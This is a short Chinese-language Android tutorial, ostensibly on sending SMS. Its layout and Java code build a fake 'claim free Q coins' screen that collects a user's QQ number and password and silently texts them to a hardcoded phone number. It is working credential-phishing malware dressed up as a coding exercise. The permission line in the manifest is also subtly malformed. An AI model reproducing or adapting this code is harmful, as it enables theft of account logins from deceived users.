發送短信案例
- 布局
- 設定點選事件
- 添權重限
1、布局
- 賬号輸入框
- 密碼輸入框
- 發送短信按鈕
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="match_parent" android:layout_height="match_parent"> <EditText android:id="@+id/et_qq" android:inputType="number" android:layout_width="wrap_content" android:layout_height="wrap_content" android:hint="輸入QQ号"/> <EditText android:id="@+id/et_pwd" android:layout_width="wrap_content" android:layout_height="wrap_content" android:inputType="textPassword" android:hint="輸入QQ密碼" /> <Button android:id="@+id/btn" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="點選領取Q币"/> </LinearLayout>
2、設定點選事件
先要聲明輸入框和密碼框及按鈕的變量
public class MainActivity extends AppCompatActivity {
private EditText et_qq;
private EditText et_pwd;
private Button btn;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.sms);
et_qq=(EditText)findViewById(R.id.et_qq);
et_pwd=(EditText)findViewById(R.id.et_pwd);
btn=(Button)findViewById(R.id.btn);
btn.setOnClickListener(new BtnSend());//設定按鈕的點選監聽事件
}
private class BtnSend implements View.OnClickListener{
public void onClick(View v){
String qq=et_qq.getText().toString().trim();//擷取到的qq轉化為字元類型并去掉空格
String pwd=et_pwd.getText().toString().trim();
if(TextUtils.isEmpty(qq)||TextUtils.isEmpty(pwd)){//判斷qq和密碼的輸入框是否為空
Toast.makeText(MainActivity.this,"賬号和密碼不能為空",Toast.LENGTH_SHORT).show();
return;
}
SmsManager smsManager=SmsManager.getDefault();
smsManager.sendTextMessage("18989116206",null,qq+"\n"+pwd,null,null);
}
}
}
3、添權重限
1、在AndroidManifest添加發送短信的權限
<uses-permissions android:name="android.permissions.SEND_SMS"/>
2、在虛拟機中或真機應用中打開發送短信的權限